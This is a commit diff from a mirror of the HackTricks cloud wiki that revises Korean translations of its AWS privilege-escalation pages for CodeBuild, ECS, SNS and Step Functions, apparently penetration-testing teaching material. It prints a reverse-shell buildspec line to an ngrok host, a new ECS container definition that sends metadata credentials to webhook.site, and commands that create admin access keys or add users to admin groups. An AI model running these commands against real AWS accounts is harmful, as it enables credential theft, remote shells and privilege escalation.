mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
Translator
+13
-13
@@ -12,7 +12,7 @@
|
||||
|
||||
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
|
||||
|
||||
이 권한 중 하나만 있으면 새로운 buildspec으로 빌드를 트리거하고 프로젝트에 할당된 iam 역할의 토큰을 훔칠 수 있습니다:
|
||||
이 권한 중 하나만 있으면 새로운 buildspec으로 빌드를 트리거하고 프로젝트에 할당된 iam 역할의 토큰을 탈취할 수 있습니다:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="StartBuild" }}
|
||||
@@ -58,7 +58,7 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**참고**: 이 두 명령의 차이는 다음과 같습니다:
|
||||
**참고**: 이 두 명령어의 차이는 다음과 같습니다:
|
||||
|
||||
- `StartBuild`는 특정 `buildspec.yml`을 사용하여 단일 빌드 작업을 트리거합니다.
|
||||
- `StartBuildBatch`는 더 복잡한 구성으로 빌드 배치를 시작할 수 있게 해줍니다 (예: 여러 빌드를 병렬로 실행).
|
||||
@@ -67,7 +67,7 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
|
||||
|
||||
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
**`iam:PassRole`, `codebuild:CreateProject`, 및 `codebuild:StartBuild` 또는 `codebuild:StartBuildBatch`** 권한을 가진 공격자는 실행 중인 코드를 생성하여 **모든 codebuild IAM 역할로 권한을 상승시킬 수 있습니다**.
|
||||
**`iam:PassRole`, `codebuild:CreateProject`, 및 `codebuild:StartBuild` 또는 `codebuild:StartBuildBatch`** 권한을 가진 공격자는 실행 중인 코드를 생성하여 **모든 codebuild IAM 역할로 권한을 상승시킬 수 있습니다.**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Example1" }}
|
||||
@@ -174,13 +174,13 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
|
||||
**잠재적 영향:** 모든 AWS Codebuild 역할에 대한 직접적인 권한 상승.
|
||||
|
||||
> [!WARNING]
|
||||
> **Codebuild 컨테이너**에서 파일 `/codebuild/output/tmp/env.sh`는 **메타데이터 자격 증명**에 접근하는 데 필요한 모든 환경 변수를 포함하고 있습니다.
|
||||
> **Codebuild 컨테이너**에서 파일 `/codebuild/output/tmp/env.sh`는 **메타데이터 자격 증명**에 접근하는 데 필요한 모든 환경 변수를 포함합니다.
|
||||
|
||||
> 이 파일에는 **환경 변수 `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**가 포함되어 있으며, 이는 자격 증명에 접근하기 위한 **URL 경로**를 포함하고 있습니다. 이는 `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`와 같은 형식일 것입니다.
|
||||
> 이 파일에는 **환경 변수 `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**가 포함되어 있으며, 이는 자격 증명에 접근하기 위한 **URL 경로**를 포함합니다. 이 경로는 `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`와 같은 형식일 것입니다.
|
||||
|
||||
> 이를 URL **`http://169.254.170.2/`**에 추가하면 역할 자격 증명을 덤프할 수 있습니다.
|
||||
|
||||
> 또한, **환경 변수 `ECS_CONTAINER_METADATA_URI`**도 포함되어 있으며, 이는 **컨테이너에 대한 메타데이터 정보**를 얻기 위한 전체 URL을 포함하고 있습니다.
|
||||
> 또한, **환경 변수 `ECS_CONTAINER_METADATA_URI`**도 포함되어 있으며, 이는 **컨테이너에 대한 메타데이터 정보**를 얻기 위한 전체 URL을 포함합니다.
|
||||
|
||||
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
@@ -214,7 +214,7 @@ JSON="{
|
||||
|
||||
printf "$JSON" > $REV_PATH
|
||||
|
||||
aws codebuild update-project --cli-input-json file://$REV_PATH
|
||||
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
|
||||
|
||||
aws codebuild start-build --project-name codebuild-demo-project
|
||||
```
|
||||
@@ -302,9 +302,9 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
|
||||
|
||||
### SSM
|
||||
|
||||
**SSM 세션을 시작할 수 있는 충분한 권한이 있는 경우** 빌드 중인 **Codebuild 프로젝트 내부에 접근**할 수 있습니다.
|
||||
**SSM 세션을 시작할 수 있는 충분한 권한이 있는 경우** 빌드 중인 **Codebuild 프로젝트 내부에 들어갈 수 있습니다.**
|
||||
|
||||
코드빌드 프로젝트는 중단점이 필요합니다:
|
||||
Codebuild 프로젝트는 중단점이 필요합니다:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">phases:
|
||||
pre_build:
|
||||
@@ -325,7 +325,7 @@ aws ssm start-session --target <sessionTarget> --region <region>
|
||||
|
||||
특정 CodeBuild 프로젝트의 빌드를 시작/재시작할 수 있는 공격자는 공격자가 쓰기 권한이 있는 S3 버킷에 `buildspec.yml` 파일을 저장하는 경우, CodeBuild 프로세스에서 명령 실행을 얻을 수 있습니다.
|
||||
|
||||
참고: 상승 권한은 CodeBuild 작업자가 공격자의 역할과 다른 역할, 바람직하게는 더 높은 권한을 가진 경우에만 관련이 있습니다.
|
||||
참고: 권한 상승은 CodeBuild 작업자가 공격자의 역할과 다른 역할(더 높은 권한이 있기를 바람)을 가질 때만 관련이 있습니다.
|
||||
```bash
|
||||
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
|
||||
|
||||
@@ -351,13 +351,13 @@ build:
|
||||
commands:
|
||||
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
|
||||
```
|
||||
**영향:** 일반적으로 높은 권한을 가진 AWS CodeBuild 작업자가 사용하는 역할로의 직접적인 권한 상승.
|
||||
**Impact:** AWS CodeBuild 작업자가 사용하는 역할로의 직접적인 권한 상승, 일반적으로 높은 권한을 가집니다.
|
||||
|
||||
> [!WARNING]
|
||||
> buildspec이 zip 형식으로 예상될 수 있으므로, 공격자는 루트 디렉토리에서 `buildspec.yml`을 다운로드, 압축 해제, 수정한 후 다시 압축하고 업로드해야 합니다.
|
||||
> buildspec이 zip 형식으로 예상될 수 있으므로, 공격자는 다운로드, 압축 해제, 루트 디렉토리에서 `buildspec.yml` 수정, 다시 압축 및 업로드를 해야 합니다.
|
||||
|
||||
자세한 내용은 [여기](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/)에서 확인할 수 있습니다.
|
||||
|
||||
**잠재적 영향:** 연결된 AWS Codebuild 역할로의 직접적인 권한 상승.
|
||||
**Potential Impact:** 연결된 AWS Codebuild 역할로의 직접적인 권한 상승.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
ECS에 대한 **더 많은 정보**는:
|
||||
ECS에 대한 **더 많은 정보**는 다음에서 확인할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
@@ -12,7 +12,10 @@ ECS에 대한 **더 많은 정보**는:
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
`iam:PassRole`, `ecs:RegisterTaskDefinition` 및 `ecs:RunTask` 권한을 악용하는 공격자는 **악성 컨테이너**가 메타데이터 자격 증명을 훔치는 **새 작업 정의**를 **생성**하고 **실행**할 수 있습니다.
|
||||
`iam:PassRole`, `ecs:RegisterTaskDefinition` 및 `ecs:RunTask` 권한을 악용하는 공격자는 **메타데이터 자격 증명을 훔치는** **악성 컨테이너**로 **새로운 작업 정의**를 **생성**하고 **실행**할 수 있습니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -32,7 +35,47 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**잠재적 영향:** 다른 ECS 역할로의 직접적인 권한 상승.
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Webhook" }}
|
||||
|
||||
webhook.site와 같은 사이트에서 웹후크를 생성합니다.
|
||||
```bash
|
||||
|
||||
# Create file container-definition.json
|
||||
[
|
||||
{
|
||||
"name": "exfil_creds",
|
||||
"image": "python:latest",
|
||||
"entryPoint": ["sh", "-c"],
|
||||
"command": [
|
||||
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
|
||||
]
|
||||
}
|
||||
]
|
||||
|
||||
# Run task definition, uploading the .json file
|
||||
aws ecs register-task-definition \
|
||||
--family iam_exfiltration \
|
||||
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
|
||||
--network-mode "awsvpc" \
|
||||
--cpu 256 \
|
||||
--memory 512 \
|
||||
--requires-compatibilities FARGATE \
|
||||
--container-definitions file://container-definition.json
|
||||
|
||||
# Check the webhook for a response
|
||||
|
||||
# Delete task definition
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** 다른 ECS 역할로의 직접적인 권한 상승.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
@@ -57,7 +100,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
이전 예제와 마찬가지로 공격자가 ECS에서 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 또는 **`ecs:CreateService`** 권한을 악용하면 **악성 컨테이너**가 포함된 **새로운 작업 정의**를 **생성하고, 최소 1개의 작업이 실행되는 새로운 서비스를 생성하여 실행할 수 있습니다.**
|
||||
이전 예제와 마찬가지로, 공격자가 ECS에서 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 또는 **`ecs:CreateService`** 권한을 악용하면 **악성 컨테이너**가 포함된 **새로운 작업 정의**를 **생성하고, 최소 1개의 작업이 실행되는 새로운 서비스를 생성하여 이를 실행할 수 있습니다.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -84,7 +127,7 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
사실, 이러한 권한만으로도 오버라이드를 사용하여 임의의 역할로 컨테이너에서 임의의 명령을 실행할 수 있습니다.
|
||||
실제로, 이러한 권한만으로도 임의의 역할을 가진 컨테이너에서 임의의 명령을 실행하기 위해 오버라이드를 사용할 수 있습니다.
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -98,7 +141,7 @@ aws ecs run-task \
|
||||
|
||||
이 시나리오는 이전과 유사하지만 **`iam:PassRole`** 권한이 **없는** 경우입니다.\
|
||||
여전히 흥미로운 점은 임의의 컨테이너를 실행할 수 있다면, 역할 없이도 **특권 컨테이너를 실행하여** 노드로 탈출하고 **EC2 IAM 역할** 및 노드에서 실행 중인 **다른 ECS 컨테이너 역할**을 **탈취**할 수 있다는 것입니다.\
|
||||
또한 **당신이 손상시킨 EC2 인스턴스 내에서 다른 작업을 강제로 실행**하여 그들의 자격 증명을 탈취할 수도 있습니다 (자세한 내용은 [**노드 섹션으로의 권한 상승**](aws-ecs-privesc.md#privesc-to-node)에서 논의됨).
|
||||
또한 **당신이 손상시킨 EC2 인스턴스 내에서 다른 작업을 강제로 실행**하여 그들의 자격 증명을 탈취할 수도 있습니다 (자세한 내용은 [**노드로의 권한 상승 섹션**](aws-ecs-privesc.md#privesc-to-node)에서 논의됨).
|
||||
|
||||
> [!WARNING]
|
||||
> 이 공격은 **ECS 클러스터가 EC2** 인스턴스를 사용하고 있을 때만 가능합니다.
|
||||
@@ -149,7 +192,7 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
|
||||
따라서 공격자는 다음을 시도할 수 있습니다:
|
||||
|
||||
- **모든 실행 중인 컨테이너에서 명령을 실행해 보십시오**
|
||||
- **모든 실행 중인 컨테이너에서 명령을 실행해 보십시오.**
|
||||
```bash
|
||||
# List enableExecuteCommand on each task
|
||||
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
|
||||
@@ -194,7 +237,7 @@ aws-ec2-privesc.md
|
||||
|
||||
### `?ecs:RegisterContainerInstance`
|
||||
|
||||
TODO: 공격자가 제어하는 머신에서 작업이 실행되도록 다른 AWS 계정에서 인스턴스를 등록할 수 있는가??
|
||||
TODO: 공격자가 제어하는 머신에서 작업이 실행되도록 다른 AWS 계정에서 인스턴스를 등록할 수 있는지??
|
||||
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
|
||||
@@ -20,7 +20,7 @@ aws sns publish --topic-arn <value> --message <value>
|
||||
|
||||
### `sns:Subscribe`
|
||||
|
||||
공격자는 SNS 주제에 구독할 수 있으며, 이로 인해 메시지에 대한 무단 접근을 얻거나 주제에 의존하는 애플리케이션의 정상적인 기능을 방해할 수 있습니다.
|
||||
공격자는 SNS 주제에 구독할 수 있으며, 이로 인해 메시지에 대한 무단 접근을 얻거나 해당 주제에 의존하는 애플리케이션의 정상적인 기능을 방해할 수 있습니다.
|
||||
```bash
|
||||
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
```
|
||||
@@ -28,10 +28,10 @@ aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
|
||||
### `sns:AddPermission`
|
||||
|
||||
공격자는 무단 사용자 또는 서비스에 SNS 주제에 대한 접근 권한을 부여하여 추가 권한을 얻을 수 있습니다.
|
||||
공격자는 무단 사용자 또는 서비스에 SNS 주제에 대한 접근 권한을 부여할 수 있으며, 잠재적으로 추가 권한을 얻을 수 있습니다.
|
||||
```css
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
```
|
||||
**잠재적 영향**: 무단 사용자 또는 서비스에 의한 주제에 대한 무단 접근, 메시지 노출 또는 주제 조작, 주제에 의존하는 애플리케이션의 정상적인 기능 중단.
|
||||
**잠재적 영향**: 무단 사용자 또는 서비스에 의한 주제에 대한 무단 접근, 메시지 노출 또는 주제 조작, 주제에 의존하는 애플리케이션의 정상적인 기능 중단.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+14
-14
@@ -25,11 +25,11 @@
|
||||
|
||||
### `states:TestState` & `iam:PassRole`
|
||||
|
||||
**`states:TestState`** 및 **`iam:PassRole`** 권한을 가진 공격자는 기존 상태 기계를 생성하거나 업데이트하지 않고도 모든 상태를 테스트하고 IAM 역할을 전달할 수 있어, 역할의 권한으로 다른 AWS 서비스에 대한 무단 액세스를 가능하게 합니다. 이 권한이 결합되면, 워크플로를 조작하여 데이터를 변경하거나 데이터 유출, 리소스 조작 및 권한 상승과 같은 광범위한 무단 작업으로 이어질 수 있습니다.
|
||||
**`states:TestState`** 및 **`iam:PassRole`** 권한을 가진 공격자는 기존 상태 기계를 생성하거나 업데이트하지 않고도 모든 상태를 테스트하고 IAM 역할을 전달할 수 있으며, 이는 역할의 권한으로 다른 AWS 서비스에 대한 무단 액세스를 가능하게 할 수 있습니다. 이 권한이 결합되면 워크플로를 조작하여 데이터를 변경하거나 데이터 유출, 리소스 조작 및 권한 상승과 같은 광범위한 무단 작업으로 이어질 수 있습니다.
|
||||
```bash
|
||||
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
|
||||
```
|
||||
다음 예제는 이러한 권한과 AWS 환경의 관대한 역할을 활용하여 **`admin`** 사용자에 대한 액세스 키를 생성하는 상태를 테스트하는 방법을 보여줍니다. 이 관대한 역할은 상태가 **`iam:CreateAccessKey`** 작업을 수행할 수 있도록 하는 고급 권한 정책(예: **`arn:aws:iam::aws:policy/AdministratorAccess`**)이 연결되어 있어야 합니다:
|
||||
다음 예제는 이러한 권한과 AWS 환경의 관대한 역할을 활용하여 **`admin`** 사용자에 대한 액세스 키를 생성하는 상태를 테스트하는 방법을 보여줍니다. 이 관대한 역할은 **`iam:CreateAccessKey`** 작업을 수행할 수 있도록 하는 고급 권한 정책(예: **`arn:aws:iam::aws:policy/AdministratorAccess`**)이 연결되어 있어야 합니다:
|
||||
|
||||
- **stateDefinition.json**:
|
||||
```json
|
||||
@@ -42,7 +42,7 @@ aws states test-state --definition <value> --role-arn <value> [--input <value>]
|
||||
"End": true
|
||||
}
|
||||
```
|
||||
- **권한 상승**을 수행하기 위해 실행된 **명령**:
|
||||
- **Command** 실행하여 권한 상승을 수행:
|
||||
```bash
|
||||
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
|
||||
|
||||
@@ -59,11 +59,11 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
|
||||
"status": "SUCCEEDED"
|
||||
}
|
||||
```
|
||||
**잠재적 영향**: 승인되지 않은 워크플로우 실행 및 조작과 민감한 리소스에 대한 접근, 이는 심각한 보안 위반으로 이어질 수 있습니다.
|
||||
**잠재적 영향**: 승인되지 않은 워크플로우 실행 및 조작과 민감한 리소스 접근, 이는 심각한 보안 위반으로 이어질 수 있습니다.
|
||||
|
||||
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
|
||||
|
||||
**`states:CreateStateMachine`** 및 **`iam:PassRole`** 권한을 가진 공격자는 상태 기계를 생성하고 이를 위해 어떤 IAM 역할이든 제공할 수 있어, 역할의 권한으로 다른 AWS 서비스에 대한 승인되지 않은 접근을 가능하게 합니다. 이전의 권한 상승 기법(**`states:TestState`** & **`iam:PassRole`**)과는 달리, 이 기법은 스스로 실행되지 않으며, 상태 기계에서 실행을 시작하기 위해 **`states:StartExecution`** 또는 **`states:StartSyncExecution`** 권한이 필요합니다 (**`states:StartSyncExecution`**은 **표준 워크플로우에 대해 사용할 수 없으며, **표현 상태 기계**에만 해당됩니다).
|
||||
**`states:CreateStateMachine`** 및 **`iam:PassRole`** 권한을 가진 공격자는 상태 기계를 생성하고 이에 IAM 역할을 제공할 수 있어, 역할의 권한으로 다른 AWS 서비스에 대한 승인되지 않은 접근을 가능하게 합니다. 이전의 권한 상승 기법(**`states:TestState`** & **`iam:PassRole`**)과는 달리, 이 기법은 스스로 실행되지 않으며, 상태 기계에서 실행을 시작하기 위해 **`states:StartExecution`** 또는 **`states:StartSyncExecution`** 권한이 필요합니다 (**`states:StartSyncExecution`**은 **표준 워크플로우에 대해 사용할 수 없으며, **표현 상태 기계**에만 해당됩니다).
|
||||
```bash
|
||||
# Create a state machine
|
||||
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
|
||||
@@ -115,7 +115,7 @@ aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--
|
||||
}
|
||||
}
|
||||
```
|
||||
- **상태 머신**을 **생성하기 위해** 실행된 **명령**:
|
||||
- **Command** executed to **create the state machine**:
|
||||
```bash
|
||||
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
|
||||
{
|
||||
@@ -123,7 +123,7 @@ aws stepfunctions create-state-machine --name MaliciousStateMachine --definition
|
||||
"creationDate": "2024-07-09T20:29:35.381000+02:00"
|
||||
}
|
||||
```
|
||||
- **명령어**는 이전에 생성된 상태 기계의 **실행을 시작**하기 위해 실행됩니다:
|
||||
- **명령어**는 이전에 생성된 상태 기계의 **실행을 시작**하기 위해 실행되었습니다:
|
||||
```json
|
||||
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
|
||||
{
|
||||
@@ -138,20 +138,20 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
|
||||
|
||||
### `states:UpdateStateMachine` & (항상 필요하지 않음) `iam:PassRole`
|
||||
|
||||
**`states:UpdateStateMachine`** 권한을 가진 공격자는 상태 머신의 정의를 수정할 수 있으며, 권한 상승으로 이어질 수 있는 추가적인 은밀한 상태를 추가할 수 있습니다. 이렇게 하면, 정당한 사용자가 상태 머신의 실행을 시작할 때 이 새로운 악의적인 은밀한 상태가 실행되고 권한 상승이 성공하게 됩니다.
|
||||
**`states:UpdateStateMachine`** 권한을 가진 공격자는 상태 기계의 정의를 수정할 수 있으며, 권한 상승으로 이어질 수 있는 추가적인 은밀한 상태를 추가할 수 있습니다. 이렇게 하면, 정당한 사용자가 상태 기계의 실행을 시작할 때 이 새로운 악의적인 은밀한 상태가 실행되고 권한 상승이 성공하게 됩니다.
|
||||
|
||||
상태 머신에 연결된 IAM 역할이 얼마나 관대하게 설정되어 있는지에 따라 공격자는 두 가지 상황에 직면할 수 있습니다:
|
||||
상태 기계와 연결된 IAM 역할이 얼마나 관대하게 설정되어 있는지에 따라 공격자는 두 가지 상황에 직면할 수 있습니다:
|
||||
|
||||
1. **관대한 IAM 역할**: 상태 머신에 연결된 IAM 역할이 이미 관대하다면(예: **`arn:aws:iam::aws:policy/AdministratorAccess`** 정책이 첨부되어 있는 경우), 권한 상승을 위해 **`iam:PassRole`** 권한이 필요하지 않습니다. 상태 머신 정의만으로도 충분하기 때문입니다.
|
||||
2. **비관대한 IAM 역할**: 이전 경우와는 달리, 여기서 공격자는 상태 머신 정의를 수정하는 것 외에도 상태 머신에 관대한 IAM 역할을 연결해야 하므로 **`iam:PassRole`** 권한이 필요합니다.
|
||||
1. **관대한 IAM 역할**: 상태 기계와 연결된 IAM 역할이 이미 관대하다면(예: **`arn:aws:iam::aws:policy/AdministratorAccess`** 정책이 첨부되어 있는 경우), 권한 상승을 위해 **`iam:PassRole`** 권한이 필요하지 않습니다. 상태 기계 정의만으로도 충분하기 때문입니다.
|
||||
2. **비관대한 IAM 역할**: 이전 경우와는 달리, 여기서 공격자는 상태 기계 정의를 수정하는 것 외에도 상태 기계에 관대한 IAM 역할을 연결하기 위해 **`iam:PassRole`** 권한이 필요합니다.
|
||||
```bash
|
||||
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
|
||||
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
|
||||
```
|
||||
다음 예제는 HelloWorld Lambda 함수를 호출하는 합법적인 상태 머신을 업데이트하여 사용자 **`unprivilegedUser`**를 **`administrator`** IAM 그룹에 추가하는 추가 상태를 추가하는 방법을 보여줍니다. 이렇게 하면 합법적인 사용자가 업데이트된 상태 머신의 실행을 시작할 때 이 새로운 악의적인 스텔스 상태가 실행되고 권한 상승이 성공적으로 이루어집니다.
|
||||
다음 예제는 HelloWorld Lambda 함수를 호출하는 합법적인 상태 기계를 업데이트하여 사용자 **`unprivilegedUser`**를 **`administrator`** IAM 그룹에 추가하는 추가 상태를 추가하는 방법을 보여줍니다. 이렇게 하면 합법적인 사용자가 업데이트된 상태 기계의 실행을 시작할 때 이 새로운 악의적인 스텔스 상태가 실행되고 권한 상승이 성공하게 됩니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 상태 머신에 관대한 IAM 역할이 연결되어 있지 않은 경우, 관대한 IAM 역할을 연결하기 위해 IAM 역할을 업데이트하는 데 **`iam:PassRole`** 권한이 필요합니다 (예: **`arn:aws:iam::aws:policy/AdministratorAccess`** 정책이 연결된 역할).
|
||||
> 상태 기계에 관대한 IAM 역할이 연결되어 있지 않은 경우, 관대한 IAM 역할을 연결하기 위해 IAM 역할을 업데이트하는 **`iam:PassRole`** 권한도 필요합니다 (예: **`arn:aws:iam::aws:policy/AdministratorAccess`** 정책이 연결된 역할).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Legit State Machine" }}
|
||||
@@ -218,7 +218,7 @@ aws states update-state-machine --state-machine-arn <value> [--definition <value
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
- **합법적인 상태 기계**를 **업데이트**하기 위해 실행된 **명령**:
|
||||
- **명령어**는 **정상 상태 머신**을 **업데이트**하기 위해 실행되었습니다:
|
||||
```bash
|
||||
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user